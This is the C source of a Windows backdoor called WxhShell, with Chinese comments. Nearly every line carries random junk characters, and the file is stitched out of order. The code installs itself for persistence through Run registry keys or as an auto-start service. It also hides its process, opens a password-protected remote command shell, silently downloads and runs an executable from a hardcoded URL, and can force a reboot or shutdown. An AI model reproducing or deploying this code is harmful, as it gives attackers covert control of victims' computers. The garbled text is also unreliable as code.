DWORD AffinityMask; T,72I
DWORD BasePriority; <}RU37,W
ULONG UniqueProcessId; iQczvn)"m
ULONG InheritedFromUniqueProcessId; n%w36_
} PROCESS_BASIC_INFORMATION; `0rEV_$
b9[KdVsT6^
PROCNTQSIP NtQueryInformationProcess; eH2.,wY1
yA%(!v5UT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +igFIoHTM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; krTH<- P
X[8m76/V
HANDLE hProcess; (lhbH]I
PROCESS_BASIC_INFORMATION pbi; kb?QQ\e
VVdgNT|}W
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ox"4 y
if(NULL == hInst ) return 0; W:uIG-y~
Xc2Oa
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t;9f7~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); --0z"`@{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Au78Yom
Ys10r-kDS
if (!NtQueryInformationProcess) return 0; Y%$57,Bu n
*-bR~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aWVJx@f
if(!hProcess) return 0; fmH$1C<
"sz)~Q'W5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +/q%29-k
'$~9~90?Z
CloseHandle(hProcess); 7ZHM;_
-
TuphCu+Oh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "A^9WhUpJ
if(hProcess==NULL) return 0; F]3iL^v
8vB~1tl;
HMODULE hMod; \LRno3
char procName[255]; m~\BkE/[l
unsigned long cbNeeded; (F_Wys=6
s4lkhoN\t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \cvui^^n
qgw:Q
CloseHandle(hProcess); yNAvXkp
,U2
/J
if(strstr(procName,"services")) return 1; // 以服务启动 nH*U
qt+vmi+~
return 0; // 注册表启动 "8VCXD
} [i.2lt#]
b&p*IyJR
// 主模块 k( 1rp|qf
int StartWxhshell(LPSTR lpCmdLine) b mZRCvW>A
{ !1!;}uzt
SOCKET wsl; NFPW#-TF
BOOL val=TRUE; >+R`3|o
'
int port=0; 3> -/sii
struct sockaddr_in door; Y1txI
* 4GJ<
if(wscfg.ws_autoins) Install(); !Pt|Hk dr
{FraM,w:
port=atoi(lpCmdLine); wH~Q4)#=o
gSK
(BP|
if(port<=0) port=wscfg.ws_port; {<ymL}
c[?S}u|['
WSADATA data; 2pH2s\r<UJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 25*/]iu
;%odN
d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H:4r6-{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e2UbeP
door.sin_family = AF_INET; q
.nsGbl
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;^lVIS%&{
door.sin_port = htons(port); ^o,Hu#
{ ;);E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~d?7\:n
closesocket(wsl); k
uU,7<o
return 1; R*/%+
} <_8\}!
i0Qg[%{9#
if(listen(wsl,2) == INVALID_SOCKET) { %#2[3N{
closesocket(wsl); V'
"p
a
return 1; lMB^/-Y
} W@AZ<(RI:
Wxhshell(wsl); 1$?O5.X:
WSACleanup(); ='T<jV`evu
.@JXV
$Z
return 0; B4pheKZ2
BQ,]]}e43z
} FgrOZI;_
k4'rDJfB
// 以NT服务方式启动 ~EW
(2B{u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N-]h+Cnyu
{ ko@I]gi2
DWORD status = 0; nORm7sa9
DWORD specificError = 0xfffffff; qxG@Zd
fBS;~;l
serviceStatus.dwServiceType = SERVICE_WIN32; #JYv1F
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HGs.v}@&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6Y)'p
.+g
serviceStatus.dwWin32ExitCode = 0; &48wa^d
serviceStatus.dwServiceSpecificExitCode = 0; <<6i6b
serviceStatus.dwCheckPoint = 0; {jcrTjmxe
serviceStatus.dwWaitHint = 0; k+'Rh'>
Ra&HzK?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8k2prv^
if (hServiceStatusHandle==0) return; A&~G
tmDI2Z%7
status = GetLastError(); \,!FL))yC
if (status!=NO_ERROR) qm4 Ejc<
{ tcSn`+Bu_`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9(QY~F
serviceStatus.dwCheckPoint = 0; VzA~w`$d
serviceStatus.dwWaitHint = 0; &=nwb4
serviceStatus.dwWin32ExitCode = status; Ms=x~o'
serviceStatus.dwServiceSpecificExitCode = specificError; @E{c P%fv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D\
HmY_
return; 4gG&u33RrE
} =&U JFu
E[/<AY^@!z
serviceStatus.dwCurrentState = SERVICE_RUNNING; vY7C!O/y_k
serviceStatus.dwCheckPoint = 0; QK&<im-
serviceStatus.dwWaitHint = 0; eA$9)K1GO
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WO/;o0{d\9
} `E8m>q Ss
-8HIsRh
// 处理NT服务事件,比如:启动、停止 2shr&Mfp[
VOID WINAPI NTServiceHandler(DWORD fdwControl) H|tbwU)J
{ lfOF]Kiqr
switch(fdwControl) o )GNV
{ <,(6*b
case SERVICE_CONTROL_STOP: T|GRkxd,E3
serviceStatus.dwWin32ExitCode = 0; aAh")B2
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8iB1a6TlL
serviceStatus.dwCheckPoint = 0; :iD([V
serviceStatus.dwWaitHint = 0; cR 4xy26s
{ 4Smno%jq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F2:+i#lE
} sI,T"D?
return; #.$p7]
case SERVICE_CONTROL_PAUSE: DM/J,q
serviceStatus.dwCurrentState = SERVICE_PAUSED; dB ?+-aE
break; 2P`hdg
case SERVICE_CONTROL_CONTINUE: sg;Gk/]
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5u'"m<4
break; ~e@QJ=r
case SERVICE_CONTROL_INTERROGATE: l}j5EWe
break; pa N )t
}; ~P
1(%FZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M\ vj&T{k
} XE[~!
>'
T3u%V_
// 标准应用程序主函数 1"RO)&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rBye%rQRq
{ Tm-Nz7U^^
..UmbJJ.u
// 获取操作系统版本 ` :eXXE
OsIsNt=GetOsVer(); jY-{hW+r
GetModuleFileName(NULL,ExeFile,MAX_PATH); hC4##pAa
w(U-6uA
// 从命令行安装 zGHP{a1O7
if(strpbrk(lpCmdLine,"iI")) Install(); wo5"f}vd#
/B.\ 6
// 下载执行文件 ><}FyK4C
if(wscfg.ws_downexe) { \\AufAkJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cod__.
WinExec(wscfg.ws_filenam,SW_HIDE); Z@>hN%{d+g
} h-+9Bv]
mw! D|
if(!OsIsNt) { }` E5I&r4
// 如果时win9x,隐藏进程并且设置为注册表启动 }]$%aMxy T
HideProc(); y/k6gl[`
StartWxhshell(lpCmdLine); K??%Qh5l+C
} f]L`^WU
else =o^oMn
if(StartFromService()) dnTB$8&
// 以服务方式启动 xQ\/6|
StartServiceCtrlDispatcher(DispatchTable); /.9j$iK#
else X|^E+
`M4
// 普通方式启动 I:CnOpR>A
StartWxhshell(lpCmdLine); lM`M70~
c"Kl@[1\~
return 0; /)sA{q
4
} X<dQq`kZ
c?A(C#~
z
j9)P3=s
];i-d7C
=========================================== r1b{G%;mJ
3/>T/To&2
3}e-qFlV8,
&b8Dy=#
Cx2s5vJX4p
?$i`K|
" =)5O(h
[y-0w.V=oE
#include <stdio.h> zs|R#?a=
#include <string.h> teH.e!S
#include <windows.h> O32p8AxEz
#include <winsock2.h> >a7OE=K
#include <winsvc.h> by!1L1[JTt
#include <urlmon.h> iU"jV*P]
Bd jo3eX
#pragma comment (lib, "Ws2_32.lib") nI7G"f[%r;
#pragma comment (lib, "urlmon.lib") KU# w%
gEcRJ1Q;C
#define MAX_USER 100 // 最大客户端连接数 11t+
a,fM
#define BUF_SOCK 200 // sock buffer lx_jy>$}r
#define KEY_BUFF 255 // 输入 buffer Z^ynw8k"
%EkV-%o*
#define REBOOT 0 // 重启 TbX#K:l
#define SHUTDOWN 1 // 关机 UJ0fYTeuI
ziZLw$)
#define DEF_PORT 5000 // 监听端口 C#{s[l \]
#^%HJp^
#define REG_LEN 16 // 注册表键长度
gP%S{<.?
#define SVC_LEN 80 // NT服务名长度 gZ
vX~
l2H-E&'=
// 从dll定义API Y3@\uM`2#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iR}3 [
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /$
Gp<.z
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hl-!rP.?0
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =)_9GO
,dn6z#pb+
// wxhshell配置信息 >%Rb}Ki4
struct WSCFG { s
zBlyT
int ws_port; // 监听端口 8T"C]
char ws_passstr[REG_LEN]; // 口令 }]O*
yFR{j
int ws_autoins; // 安装标记, 1=yes 0=no S:!gj2q9|
char ws_regname[REG_LEN]; // 注册表键名 <ua` WRQr
char ws_svcname[REG_LEN]; // 服务名 @
3n;>oi
char ws_svcdisp[SVC_LEN]; // 服务显示名 [R
V_{F:'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 -Pds7}F8
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PF=BXY1<UL
int ws_downexe; // 下载执行标记, 1=yes 0=no |e{F;8
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'dJ#NT25
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cg{V"B:
)@lZ~01~d
}; 2XoFmV),F
2J7=
O^$?
// default Wxhshell configuration j"G1D-S:
struct WSCFG wscfg={DEF_PORT, Pn?Ujjv
"xuhuanlingzhe", ^G:}%4
1, ]x)^/d
"Wxhshell", &n6'r^[D
"Wxhshell", 9Q\CJ9
"WxhShell Service", ^d6}rtG
"Wrsky Windows CmdShell Service", k55s-%Ayr
"Please Input Your Password: ", Oz8"s4Y7
1, t2bv
nh
"http://www.wrsky.com/wxhshell.exe", ] oOSL=~c
"Wxhshell.exe" ~nQ= iB
}; {tS^Q*F
FKYPkFB
// 消息定义模块 =*paa
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;4(ULJ*
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7TDt2:;]
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _:N+mEF
char *msg_ws_ext="\n\rExit."; _LVwjZX[
char *msg_ws_end="\n\rQuit."; Tt;h?
char *msg_ws_boot="\n\rReboot..."; O_v8R7 {
char *msg_ws_poff="\n\rShutdown..."; g5",jTn#
char *msg_ws_down="\n\rSave to "; -4 *94<
h?Y->!'
char *msg_ws_err="\n\rErr!"; RSv?imi=
char *msg_ws_ok="\n\rOK!"; <@F.qMl
c:*[HO\
char ExeFile[MAX_PATH]; 0iKSUwps
int nUser = 0; W|2o^ V
HANDLE handles[MAX_USER]; :| s
int OsIsNt; c+BD37S
kdgU1T@y.
SERVICE_STATUS serviceStatus; i}tBB~]
SERVICE_STATUS_HANDLE hServiceStatusHandle; mB\)Q J.%
>Bw<THx
// 函数声明 dnwTD\),
int Install(void); w"PnN
int Uninstall(void); E{wnhsl{
int DownloadFile(char *sURL, SOCKET wsh); 3p+V~n.+
int Boot(int flag); [TW?sW^0
void HideProc(void); z`Jcpt
int GetOsVer(void); AfAlDM'
int Wxhshell(SOCKET wsl); :CeK
'A\
void TalkWithClient(void *cs); CI#6r8u
int CmdShell(SOCKET sock); Hto RN^9
int StartFromService(void); KD<smwXjG
int StartWxhshell(LPSTR lpCmdLine); *XU2%"Sc
e7_.Xr~[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]\JLlQ}#H
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "^froQ{"T
+!~"ooQZh
// 数据结构和表定义 cko^_V&x
SERVICE_TABLE_ENTRY DispatchTable[] = ,J$XVvwxF
{ i-jrF6&
{wscfg.ws_svcname, NTServiceMain}, xCQLfXK7
{NULL, NULL} bo-AM]
}; k4E2OyCFoJ
ufF>I
// 自我安装 3LkcK1x.
int Install(void) K\trT!I
{ c98^~vR]]
char svExeFile[MAX_PATH]; d}w}VL8l
HKEY key; u]z87#4
strcpy(svExeFile,ExeFile);
Nd h
]3\%i2NM
// 如果是win9x系统,修改注册表设为自启动 <-h[I&."
if(!OsIsNt) { Z}AhDIw!G
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =j"bLX6;
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wt M1nnJp
RegCloseKey(key); <\'aUfF v
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9*2Q'z}_
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W]oILL"d
RegCloseKey(key); /8? u2
q
return 0; 4c]=kb GW
} #z5$_z?_
} Bfu/w
} RI3GAd
else { 0F%/R^mw
U1)!X@F{
// 如果是NT以上系统,安装为系统服务 d6f T
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |%g)H,6c
if (schSCManager!=0) w+Y_TJ%
{ 5D <
SC_HANDLE schService = CreateService
.Q!p Q"5
( Ms=N+e$n
schSCManager, }a"koL
wscfg.ws_svcname, v:gdG|n"
wscfg.ws_svcdisp, Sw.Kl
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SERVICE_ALL_ACCESS, Rr0]~2R
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 717OzrF}A?
SERVICE_AUTO_START, 8xt8kf*k
SERVICE_ERROR_NORMAL, {yFMY?6rf
svExeFile, A\})H
NULL, .1f!w!ltVR
NULL, =>-W!Of
NULL, :0kKw=p1R
NULL, wWVB'MRXB,
NULL %x8vvcO^t
); `4,]Mr1b
if (schService!=0) f{-,"6Y1
{ .\+c{
CloseServiceHandle(schService); 6Z5$cR_vC7
CloseServiceHandle(schSCManager);
N8)]d
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7|k2~\@q
strcat(svExeFile,wscfg.ws_svcname); E
<N%
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z~ K} @
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "8
?6;!,
RegCloseKey(key); y/>Nx7C0=2
return 0; >@EwfM4[e
} EX@Cf!GjN
} F$S/zh$)0
CloseServiceHandle(schSCManager); o QR?H
} G_}oI|B
} c~= {A
mr,GHx
return 1; c_ u7O
\
} E( *S]Z[
v}=pxWhm
// 自我卸载 X=? \A{Y
int Uninstall(void) uT
Y G/O
{ [$M l;K
HKEY key; hVdGxT]6
4'.]-u
if(!OsIsNt) { ?4t~z 1.f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X{iidTW`xv
RegDeleteValue(key,wscfg.ws_regname); _MTvNs
RegCloseKey(key); %;#9lkOXWH
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bd3>IWihp
RegDeleteValue(key,wscfg.ws_regname); fO837
RegCloseKey(key); ~Fo`Pr_
return 0; &{8[I3#@
} #2+hu^Q-
} 0Qg%48u
} 7o-}86x#
else { fN
1:'d
qz 29f
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hysxHOL
if (schSCManager!=0) 5;[0Q
{ Y5TBWcGU%
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0.#%KfQ
if (schService!=0) &A^2hPe}
{ R!WeSgKCs
if(DeleteService(schService)!=0) { tAb3ejCo?
CloseServiceHandle(schService); M<@9di7c
CloseServiceHandle(schSCManager); HPK}Z|Vl
return 0; aX~'
gq>
} ^fM=|.?
CloseServiceHandle(schService); eoPoGC
} _K~?{".
CloseServiceHandle(schSCManager); 'v@1_HHW\
} ^Cg@'R9
} T{T> S%17~
Fh)YNW@
return 1; Kw>gg
} ]o_E]5"jO
\)PS&Y8n
// 从指定url下载文件 Vb2")+*:
int DownloadFile(char *sURL, SOCKET wsh) m>b
i$Y
{ 98WJ"f_ #
HRESULT hr; gOk^("@
char seps[]= "/"; y)Lyo'`
char *token; /zV0kW>N
char *file; %$!EjyH9
char myURL[MAX_PATH]; 3lNw*M|")
char myFILE[MAX_PATH]; i4
tW8Il
" 2@Ys*e
strcpy(myURL,sURL); 3K_!:[
token=strtok(myURL,seps); ..^,*
while(token!=NULL) W&^2Fb
{ B Zw#ACU
file=token; E9[8th,t
token=strtok(NULL,seps); Ia)^
} dnTXx*I:
P^*gk P
GetCurrentDirectory(MAX_PATH,myFILE); >JhIRf
strcat(myFILE, "\\"); =j~}];I
strcat(myFILE, file); __||cQ
send(wsh,myFILE,strlen(myFILE),0); 6_a.`ehtj<
send(wsh,"...",3,0); ts0K"xmY\c
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L:EJ+bNG
if(hr==S_OK) 8%#uZG\}
return 0; ;
bDFrG
else L9U<E $%#
return 1; & ~[%N
O
Sq==)$G
} -/&6}lD
B[MZPv)
// 系统电源模块 *)d|:q3
int Boot(int flag) Onoi6^G
{ !ZV#~t:)
HANDLE hToken; wh:`4Yw
TOKEN_PRIVILEGES tkp; {1YT a:evl
L7%'Y}1e.
if(OsIsNt) { P-`^I`r
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bvR*sT#rg
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sb[rSczS~
tkp.PrivilegeCount = 1; U>x2'B v
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ddHIP`wb
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 90aPIs-
if(flag==REBOOT) { cCV"(Oo[H|
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +msHQk5#$m
return 0; 25ZGuM
} TzL40="F
else { O x$|ZEh
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]:E]5&VwV}
return 0; 8rp-XiW
} (Fgt #H(B
} j*:pW;)^
else { '7*=m^pc
if(flag==REBOOT) { S s`0;D1
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AYZds >#Q
return 0; V!U[N.&$
} {M~!?#<K
else { 2aje$w-
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #=.h:_9
return 0; VYAe!{[
} P/PS(`
} tl^[MLQa
"\=_- `
return 1; : }IS=A
} GKd>AP_
U; q)01
// win9x进程隐藏模块
#129 i2
void HideProc(void) GQZUC\cB
{ Go67VqJr
SA7,]&Zb